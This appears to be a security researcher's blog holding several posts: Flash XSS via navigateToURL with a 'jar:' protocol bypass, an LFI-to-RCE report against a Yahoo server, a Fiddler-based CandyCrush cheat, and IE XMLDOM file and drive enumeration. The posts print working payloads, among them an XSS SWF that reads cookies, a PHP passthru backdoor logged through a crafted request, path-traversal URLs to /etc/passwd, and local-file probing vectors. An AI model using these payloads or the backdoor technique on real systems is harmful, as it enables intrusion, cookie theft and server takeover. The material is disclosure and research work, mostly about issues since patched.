Catch-up on Flash XSS exploitation Part 3 – XSS by embedding a flash file

I am going to explain how to exploit a Cross Site Scripting vulnerability by embedding a flash file in a vulnerable website by using navigateToURL or getURL. This is a known technique but I want to introduce a new method to exploit the target more efficiently. This method can be useful when you have some restrictions and you cannot inject a JavaScript directly into the page.

First of all, I am going to explain how it is possible to do this normally and then I will try to make my vector as short as possible.

Using “allowScriptAccess” (normal method):

Here is the code that we need to run JavaScript from our flash file by using URL redirection:

ActionScript 3 code (http://0me.me/demo/xss/flash/normalEmbededXSS.swf):


navigateToURL(new URLRequest("javascript:alert(document.domain);"),"_self");

ActionScript 2 code:


getURL("javascript:alert(document.domain)","_self");

And here is the HTML code in which we need to embed this flash file:


<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowScriptAccess" value="always" /><param name="src" value="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf" allowScriptAccess="always" /></object>

Test URL: http://jsfiddle.net/4F5b2/

It is also possible to rewrite the HTML file as follows to make it as short as possible:


<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="//www.attacker.com/testme/flashtest/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//www.attacker.com/testme/flashtest/normalEmbededXSS.swf" />

Test URL: http://jsfiddle.net/UDeE8/

However, this vector will not work in IE as it causes a “Security sandbox violation” error (you can use the debugger version of Flash player to see the error messages). Instead we can use EMBED tag as follows:


<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowscriptaccess" value="always" /><param name="src" value="//0me.me/demo/xss/flash/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//0me.me/demo/xss/flash/normalEmbededXSS.swf" allowscriptaccess="always" /></object>

Test URL: http://jsfiddle.net/pEFan/

Exploiting XSS without using allowScriptAccess – bypassing flash Security Sandbox:

There can be a valid scenario in which you can only control the address of an embedded SWF file in victim’s website or there are some length restrictions and we cannot use “allowScriptAccess”! I came across this scenario recently in @rafaybaloch and @prakharprasad #1 XSS challenge: http://rafay.prakharprasad.com/

If we do not use “allowScriptAccess”, we can make our vector as short as possible but it will cause a “Security sandbox violation” error for two reasons:

1: Target page in navigateToURL or getURL cannot be set to null/empty, “_self”, “_parent”, and “_top”.

Example:

ActionScript 3 code (http://0me.me/demo/xss/flash/targetSelf_destGoogle_embededXSS.swf):


navigateToURL(new URLRequest("http://google.com/"),"_self");

Test URL: http://jsfiddle.net/sWk37/

2: We cannot use “JavaScript:” protocol for redirection.

Example:

ActionScript 3 code:


navigateToURL(new URLRequest("javascript:alert(document.domain);"),"testme");

Test URL: http://jsfiddle.net/9wGMM/

Resolving the first issue is not difficult. If we use an arbitrary name as the target page, it will open our JavaScript in a new page which uses the same window origin as its opener and this is what we need! It is also possible to set a name for the victim’s website when we want to open it by using different techniques (such as IFrame name, window.open, anchor’s target, form’s target and so on) and set the target name to the same name in our Flash file. I will show you an example later.

Overcoming the second issue is even easier! We can use “JAR:” protocol before “JavaScript:” to bypass Flash Sandbox protection (http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl-and-jar-protocol/).

Based on these solutions, our Flash file would be like this:

ActionScript 3 code (http://0me.me/demo/xss/flash/embededXSS.swf):


navigateToURL(new URLRequest("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);"),"testme");

ActionScript 2 code:


getURL("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);","testme");

Let’s Finish It!

I have a vulnerable page which is located in:

http://www.sdl.me/xssdemo/xss.asp?input=XSS_goes_here

If we do not use a name for the victim’s website, it is only exploitable in Mozilla Firefox:

http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf> – Firefox only

We can still exploit this in other browsers if we use a name (“testme” in our example) to open the vulnerable file. Here is an example:


<iframe name="testme" src="http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf>" height="240" width="320"></iframe>

Test URL: http://jsfiddle.net/FUfrc/

Please note that the OBJECT tag could also be used instead of EMBED with the same result.
 

Important Update: Adobe Flash has been patched to close JAR protocol issues forever! (http://helpx.adobe.com/security/products/flash-player/apsb14-02.html)

 

 

Yahoo bug bounty program – LFI reported and patched!

Introduction:

Yahoo! bug bounty program is still young and I believe that they have been pushed to do this when they were not ready for it! Many of their web pages had not even been scanned by an automatic commercial scanner when they started running their bounty program and they will definitely lose profit on that. I guess this is the price that they are willing to pay to satisfy their customers. Other high profile companies that still do not care about an appropriate bug bounty program for their websites and their applications should rethink now! Thanks to the available bug bounty programs, the number of bounty hunters is now increased and the power of this community is growing everyday and this will save time and money for any company in the long run.

I remember the time that you could find at least one XSS in less than an hour and a SQLi in a few hours in Yahoo websites (http://www.xssed.com/pagerank). Now their bug bounty program is going to change this situation and the customers who have migrated to Gmail to have more security (I personally did that), may still use their Yahoo account!

However, it is still too early to say anything about Yahoo bug bounty program and we have to wait a few months to see their stable policy. There are security researchers who have reported more than 20 XSS issues to Yahoo now and they are waiting for their rewards! It is very interesting to see how much Yahoo will pay for any particular issue and how they are going to categorize the issues to pay from $150 for low risk issues to $15,000 for high risk issues. More info about Yahoo bug bounty programs from Ramses Martinez -Director, Yahoo Paranoids-: http://yahoodevelopers.tumblr.com/post/62953984019/so-im-the-guy-who-sent-the-t-shirt-out-as-a-thank-you

Now, I am going to share my experience in reporting a critical issue to Yahoo just for future reference (I am not going to talk about the XSS issues that I have reported to them).

LFI gave me RCE on “advertiser.yahoo.com” server!

I found a LFI issue in the following URL (it gives me the 404-error now!):

*

https://advertiser.yahoo.com/utils/choosepwd.php?c=../../../../../../../etc/passwd%00us

*

Interestingly, some of the users of this server had already left Yahoo a while ago but their user was still there! But this was not my concern; finding this issue was too easy and minimum skills were needed. However, exploitation was tricky as I could not find the log-files path on these Yahoo FreeBSD servers. I reported the issue to Yahoo at this point but I wanted to prove that this is a highly critical issue. So I searched in Google and by using try and error, I finally managed to find the log-file that I was looking for: “/home/y/logs/yapache/error”. Then, I just had to create an error! I sent a GET request with spaces in the request to cause 400-error-status and log my backdoor inside the log-file:

*
GET /<? passthru($_GET[cmd]) ?> HTTP/1.1
*

And now I could execute any commands on the server:

*

https://advertiser.yahoo.com/utils/choosepwd.php?c=../../../../../../../home/y/logs/yapache/error%00us&cmd=cat+/etc/ybiipinfo


https://advertiser.yahoo.com/utils/choosepwd.php?c=../../../../../../../home/y/logs/yapache/error%00us&cmd=ls+-R+/home/y/share/htdocs/*

*

I ran a few commands (no network commands) and looked at the content of some PHP files but as I was not sure if I am allowed to continue, I stopped. Ramses Martinez (Director, Yahoo! Security Team) allowed me later to download the web files in order to find more vulnerabilities but when I looked into it the day after, the issue was fixed and it was too little too late to complete my glory ;) they were quite quick to address this issue as soon as they saw my email at the weekend.

I wish there was a policy that could tell me what I am allowed to do when I have RCE on the server in a bug bounty program. I did not even try to look at the sensitive files that could contain credentials such as database passwords as I was not sure about the legal side of my testing.

Time-Line:

Fri, Oct 4, 2013 at 11:13 PM: Initial report of LFI to Yahoo

Sat, Oct 5, 2013 at 12:47 AM: LFI converted to RCE reported to Yahoo

Sun, Oct 6, 2013 at 6:19 PM: First contact from Yahoo directly from Ramses Martinez

Mon, Oct 7, 2013 at 3:16 AM: I have been informed that this issue plus other XSS issues that I had reported have been patched.

Reward:

Ramses’ response: “Please keep in mind that we announced the program going live on 10/30 and we’re not fully operational. Which means we are still working out a few issues. Until that time our response could vary depending on submissions and workload. Work with me here and I’ll make sure that you are taken care of once the program is in place.”

I will update this section as soon as I get any news from Yahoo. The prize is between $150 to $15K based on the risk rating (impact x likelihood [?]) and I am wondering how much they are going to pay for this LFI to RCE issue.

Catch-up on Flash XSS exploitation Part 2 – “navigateToURL” and “jar:” protocol!

I think I have already proven my interest in using simple vectors to bypass available protections (some examples to support my claim!: IIS Semi-colon issue, IIS Short Filename Scanner, Mozilla Firefox Directory Traversal by using resource protocol, etc). Now, I am going to reveal more secrets and this time in Flash and also Internet Explorer!

XSS attack by using different protocols in “navigateToURL” redirections:

Please note that this section may need to be updated in future as I have not spent enough time researching this subject yet! Therefore, if you have found something relevant or if you know a useful tip, please share it with me too.

We know that “navigateToURL” can lead to a Cross Site Scripting or Open Redirect issue. When I was playing with “navigateToURL” function in AS3, I found an interesting protocol that Flash ignores and it is called “jar:” protocol. I had seen this in Firefox before but never in Flash!

In flash binary file, there are also other protocols listed that can be useful for the research purposes but none of them has the unique feature of “jar:” protocol. Their list is as follows:

rtmp:
rtmpt:
rtmps:
rtmpe:
rtmpte:
mk:@MSITStore:
Ms-its:
vnd.ms.wmhtml:
etc:
ms-help:
hcp:
msencdata:
jar:
rtmpt://
rtmps://
rtmpe://
rtmpte://
rtmfp://
file:////
app:
app-storage:

Some of these protocols are for streaming purposes (such as “rtmps”), some of them are application specific protocols (such as “Ms-its” for IE), and others are generic protocols that we already know about!

jar:” protocol is our invisible friend and a True Warrior!!:

It seems flash ignores “jar:” protocol and it becomes a transparent protocol. In other words, there is no difference between “javascript:alert(1)” and “jar:javascript:alert(1)” in Action Script. I have not yet found any other usage of this protocol (maybe it is vulnerable as well!).

Now if an application uses a blacklist protection to detect “javascript:” or “vbscript:”, it can be easily bypassed!

Here is our vulnerable example code:

	var input:String = root.loaderInfo.parameters.input; // input variable
	var dangerousInput:RegExp = /^\w*script:.*/i; // to cover javascript: and vbscript: protocols!
	if(!dangerousInput.test(input))
	{
		// Safe to go?!!! --> No! What about "jar:javascript:"?
		navigateToURL(new URLRequest(input),"_self"); // redirection
	}

And here is the real example:

*

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:javascript:alert(1);//

*

This Action Script is also vulnerable to XSS by using “data:” protocol in Firefox which I believe is a known issue.

Bypassing local-with-filesystem protection by using “navigateToURL”:

By default, Flash does not allow you to use sensitive protocols such as “File://” or “Ms-its:” in “navigateToURL”. If you try to open “http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\”, you will receive the following error (you can view the errors by using debugger version of Flash Player):

SecurityError: Error #2148: SWF file http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\ cannot access local resource file://c:\. Only local-with-filesystem and trusted local SWF files may access local resources.
	at global/flash.net::navigateToURL()
	at MethodInfo-1()
	at flash.events::EventDispatcher/dispatchEventFunction()
	at flash.events::EventDispatcher/dispatchEvent()
	at com.powerflasher.SampleApp::link_protocol_test()

As you can see in the error message, only local-with-filesystem should be able to use “File:” protocol.

I found out that it is possible to bypass this protection by using “jar:” protocol followed by a restricted protocol and by playing with slashes and backslashes preceding the restricted protocol. And now it is up to the browsers to protect their users against any possible attack!

I have tested this technique in Google Chrome, Mozilla Firefox, and Internet Explorer and I could not bypass the first two! Which means only Internet Explorer is falling for this bypass method!

Here are some examples of my bypass vectors:

Jar protocol – Opens C drive (note that I use only 1 slash character for the File protocol):

*

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\

*

Jar protocol – Opens a file in your local C drive:

*

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\windows\Starter.xml

*

Jar protocol – Opens other restricted protocols in IE – example 1:

*

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:shell:cookies

*

Jar protocol – Opens other restricted protocols in IE – example 2:

*

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:mk:@MSITStore:C:\Windows\Help\mui\0409\certmgr.CHM::/html/355962c2-4f6b-4cbd-ab00-6e7ee4dddc16.htm

*

Playing with backslashes without using “jar:” protocol – Opens C drive:

*

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=\\/c:/

*

Now you can open any of these links in an IFrame. I have created a PoC in the following link:
http://0me.me/demo/xss/flash/iframe_link_protocol_test.html

As you can see in the PoC link, it is even possible to identify if an item is available or not! As a result, it is possible to enumerate the local hard-drives (what about the internal network? ;) )

Now the question is: “what can I do by opening a local resource in an IFrame?”. I had some thoughts but I asked the same question in my twitter as well to collect more information. I say thank you to the following people who kindly answered my question: @obnosis, @mall0cat, @dveditz, @AbiusX, @cgvwzq, @superevr, @Milad_Bahari.

These are the things we should be able to do by opening the local file system in an IFrame:

1- Running a dangerous browser readable file (such as html, swf, and so on) that contains malicious scripts to steal more data, execute command, or target the internal network. In order to exploit this issue, you need a vulnerable/malicious file with proper extension (IE should be able to open it) in the target’s machine. This can be an existent file or a file that has been downloaded to the target. However, you may need the user’s interaction (see this old issue: http://forums.cnet.com/7726-6132_102-5480227.html).

2- Hijacking the local sensitive files by using drag-and-drop feature. I should say that I was unable to do this in my PoCs. Maybe I should try harder?!

3- Scanning the local resources.

4- Fingerprinting the users based on their files and directories.

Let’s have some fun! I want to open your CDRom!

I have created a PoC to eject the empty CD/DVD drives in IE (tested in IE10) – just like old Trojans!!!:
http://0me.me/demo/xss/flash/open_cdrom.html

I have used another advisory of mine to enumerate the valid Drive letters and I am opening them one by one in an IFrame!
 

Important Update: Adobe Flash has been patched to close JAR protocol issues forever! (http://helpx.adobe.com/security/products/flash-player/apsb14-02.html)

 

 

Destroy your addiction to CandyCrush and secure your sweet future!

It’s too little too late for me to overcome my addiction to this simple game! I am going to show how easy it is to cheat in a game like CandyCrush by using a proxy such as Fiddler; and I want to discuss some simple techniques for the developers to make this cheating process in flash games/applications harder! By the way, I am not talking about advanced games such as GTA-V here!

First of all, download Fiddler from the following link: http://fiddler2.com/

Now, download the following script for fiddler: http://0me.me/demo/candycrush/fiddler-candycrush.txt

Make sure you can decrypt HTTPS requests in Fiddler by installing its certificate (you can remove it later) [more help: http://fiddler2.com/documentation/Configure-Fiddler/Tasks/DecryptHTTPS].

Now insert the downloaded script in Fiddler custom rules section [more help: http://fiddler2.com/documentation/Extend-Fiddler/AddRules].

If you start playing CandyCrush in a browser that has Fiddler as its proxy, you will see the difference. Although I have not added some of the features/cheats, it is enough to kill your joy and addiction by doing whatever you want in the game!

What is going on here? I don’t like cheating!

The answer is simple; CandyCrush relies on the responses from its server without verifying their integrity. As a result, you can change the server responses to say I have 100 lives.

At the same time, the server does not have any way to verify whether something has been manipulated or not! In fact, it has a token but it is possible for you to make that token yourself.

I should say that this problem is not specific to CandyCrush; this is a common problem for offline and client-side games/applications that need to talk to their servers. Their code is available on the client-side and it is possible for a curious user to use some reverse engineering techniques to figure out how it works and even change the game flow for his/her own benefit.

In this example, CandyCrush uses Flash technology and it is possible to decompile it by using a SWF file decompiler. Somebody has already done that in this link: http://nickstallman.net/2013/02/cheat-in-candy-crush-saga-easier-than-you-think/ (who says in the security field we do not give reference to each other?! ;) ). Basically, the algorithm that the server uses to verify if something has been manipulated has already been included in the binary file and you can find it to forge your own request. And that’s what we have in the provided Fiddler script to give you a happy ending everytime! Your score also starts with 777 to be as lucky as possible (I am thinking about seven 7s now! Oh well, you can change it yourself!).

Addressing the common problems – Make the target harder:

This is a controversial subject and everybody has their own ideas. I think at the moment it is impossible to completely solve all the problems as anyone can manipulate the binary files directly. I recommend the following methods to decrease the attack surface and make the manipulation and interception harder (only true rich warriors with a lot of free time will stand!).

A) How a client-side application can trust its server responses and stored values?

1- Use Certificate Pining and encrypt the channel. Ignore the responses if the certificate is invalid! Sign every single response from the server and verify the signatures.

2- Obfuscate the code when you are compiling the application. It can make it more complicated for someone to look at your code and an attacker will probably lose his/her interest when they do not have a strong motivation!

3- Encrypt sensitive values such as score, remaining moves, level number, and so on in storages and in memory to stop applications like Cheat Engine. It is also possible to generate a dynamic random string when you open the application (flash file) and XORing the values with them for read and write (initial values can still be vulnerable though).

4- Communicate under TCP to make the interception more difficult. If it is feasible, use a new protocol instead of HTTP to make the interception harder!

B) How can the main server trust the requests?

1- When using Certificate Pining in the client-side, verify the certificate by encrypting the messages in the request. Although the parameter values can be modified inside the application just before the encryption, this method can stop external proxies from intercepting the messages.

2- Replay attack is also important in this scenario. Each request must be dependent on the user specific parameters such as userid, username, location, level, IP address, and so on. In other words, Bob should not be able to send Alice’s request to the server without being detected and blocked. We can also use cryptographic nonce key here as well (http://en.wikipedia.org/wiki/Cryptographic_nonce); whenever a client-side application has access to Internet and wants to send some data to its server, it should use a nonce key that has been received previously from the server in the last transaction. This nonce value should be sent to the server in the next request (or a known shared word can be encrypted by this nonce to be sent to the server) and server can always keep records of these nonce values and deactivate the used ones.

3- Collect the game state and statistical data in order to send them to the server in a secure way to be processed. This can be done in the middle of the game as well. Imagine if you could send the user’s moves and all the game data to the server; then, you could really predict if the user was a winner or not; you could tell what their score is by having that information and replaying the game; you can see how long it took for the user to finish those levels and so on. Collected statistical data can be used to detect the cheaters. Although it is possible to forge this data as well, it can be quite difficult to figure out its format and the correct values especially if you use a compressed and an encrypted algorithm. Unfortunately, this will increase the work load on the server.

By the way, you are more than welcome to add your recommendation as a comment if you want to help the developers.

Note: CandyCrush had a typical security issue in accepting negative numbers. I think you can guess what it was: you could increase your items by sending negative numbers to the server! This issue has been patched now by ignoring the negative and zero values (I think they should not even send a numerical value in this request. They could deduct 1 from the resources in the server-side as soon as they see a used-item request). They do not have any blog or forum to give anybody any credits though.

Microsoft XMLDOM in IE can divulge information of local drive/network in error messages – XXE

While I was testing a XML Injection vulnerability, I became interested in the W3Schools DTD Validator example that can only work in IE: http://www.w3schools.com/dtd/dtd_validation.asp. As a result, after I finished my testing, I started playing with this Microsoft XMLDOM object to see if it is vulnerable.

I created the following test case to manipulate the “$target$” value and validate it to see the results:

validateXML('<?xml version="1.0" ?><!DOCTYPE anything SYSTEM "$target$">')

function validateXML(txt) {
    // code for IE
    if (window.ActiveXObject) {
        var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
        xmlDoc.async = true;
        try {
            xmlDoc.loadXML(txt);
			if (xmlDoc.parseError.errorCode != 0) {
				var err;
				err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";
				err += "Error Reason: " + xmlDoc.parseError.reason;
				err += "Error Line: " + xmlDoc.parseError.line;
				alert(err);
				var errReason = xmlDoc.parseError.reason.toLowerCase();
				alert(errReason);
			} else {
                alert('No Error? Unknown!')
			}
        } catch (e) {
            alert(e);
        }

    } else {
        alert('you need to use IE')
    }
}

You can see this JS in action via this link in IE: http://jsfiddle.net/ubqug/

Detecting files in the C drive:

I tried different local file paths to see if I can include a file from the local file system. The results of the following test cases are the same – “Access is denied.”:

$target$=file://c:/windows/system32/calc.exe

$target$=file://c:/windows/system32/invalid.exe

See this link: http://jsfiddle.net/ubqug/1/

I thought I might be able to use “\\localhost” or “\\127.0.0.1” instead of using “file” protocol:

$target$ = \\127.0.0.1\c$\windows\system32\calc.exe

$target$ = \\127.0.0.1\c$\windows\system32\invalid.exe

The result was the same again; however, I did not receive an “access denied” error this time! See this link: http://jsfiddle.net/ubqug/2/

At this point, I used Sysinternals Suite Process Monitor to monitor the file system and I realised that in the previous example, it was looking for “c$” folder in the C drive!

Therefore, I removed “c$” from my targets and ran the test again:

$target$ = \\127.0.0.1\windows\system32\calc.exe

$target$ = \\127.0.0.1\windows\system32\invalid.exe

The result was promising as I received “Unspecified error” for the file that was available on my file system. See this: http://jsfiddle.net/ubqug/3/

So, I found my first bypass to detect available files on the C drive.

I also found more vectors to find files on the C drive and it turned out that I can get the same result by using “file:\” and “file:\\localhost\” instead of “file:\\”! See this link: http://jsfiddle.net/ubqug/4/

Detecting valid folders in C drive:

It was possible to find the valid folders on C drive by using the same technique as the error messages were a little bit different in case of having a valid or an invalid folder:

$target$ = \\localhost\windows\

$target$ = \\localhost\invalidfolder\

Try it in: http://jsfiddle.net/ubqug/6/ – in case of an invalid folder the message will be: “the system cannot locate the object …”. When a folder is valid we will have: “the system cannot find the path …”

I also found out if I use NTFS ADS (Alternate Data Streams) that are related to files and not the directories such as “::$DATA” I would receive different error messages to detect the valid folders (“access denied” versus the “the system cannot locate the object …”):

$target$ = \\localhost\windows::$DATA

$target$ = \\localhost\invalidfolder::$DATA

See the result in this link: http://jsfiddle.net/ubqug/7/

Detecting files and directories in all drives:

At this point during my testing, I had a limitation and I could not detect my files in any drive other than the C drive by using the previous vectors. Vectors like “file:/e:/” or “\\localhost\e$” did not work.

I solved this problem by using “res://” protocol (http://msdn.microsoft.com/en-us/library/aa767740(v=vs.85).aspx) and I received different error messages by pointing to the files or folders.

$target$ = res://d:\validfile.txt

$target$ = res://d:\invalidfile.txt

See the results here (you need to create the “validfile.txt” file in your D drive or change the path): http://jsfiddle.net/ubqug/5/

Detecting available drives:

In order to make the results more accurate, I had to find the available drive letters on the box. Unfortunately “res://” protocol was not helpful in this case and I had to use another solution. The solution that I found was in fact very easy. I could use the drive letters directly; if the drive letter is available, the error message would be “access denied” and when it is not available, the error message changes to “the system cannot find the path specified”:

$target$ = c:\

$target$ = invalid:\

See the results in http://jsfiddle.net/ubqug/8/

Detecting available Windows internal network addresses or internal websites:

During my tests, I realised that I can send http request to local sites or IP addresses, and I can point to network shares as well. In this case, it would give me an error immediately if the target was valid. However, it could take between 10 to 60 seconds to come back with an error when it could not receive a response from the target! I used this technique to detect valid local IP/Name addresses. However, as it does take a long time to identify an invalid target, it is not appropriate for scanning.

Denial of Service:

Like many other DTD parsers, XMLDOM object was also vulnerable to denial of service. I did not even try hard to find the issue and I used an example in the following link from MSDN Magazine:

http://msdn.microsoft.com/en-us/magazine/ee335713.aspx

Summary:

I have created a PoC page to test the above techniques in one page which can be found via: http://0me.me/demo/IE/dtdTest.html

I also searched in Google and I found out that the general topic of these issues have been mentioned in the following link from Microsoft:

 http://msdn.microsoft.com/en-gb/library/windows/desktop/ms754611(v=vs.85).aspx

See the “Threats and Mitigation” section in the link above.

At the moment this issue is a client side issue and only works in IE. I published it as the impacts are low (limited information disclosure vulnerability) and you cannot read the file contents with the vectors that I have found (only worthless local DTD files are partially readable). However, this research can be very valuable to people who are looking for the new vectors in finding/exploiting XML vulnerabilities (for example in Java – I do not have time to test this at the moment) – obviously in legal and legitimate research/pentest projects ;)

Once again, the PoC page is: http://0me.me/demo/IE/dtdTest.html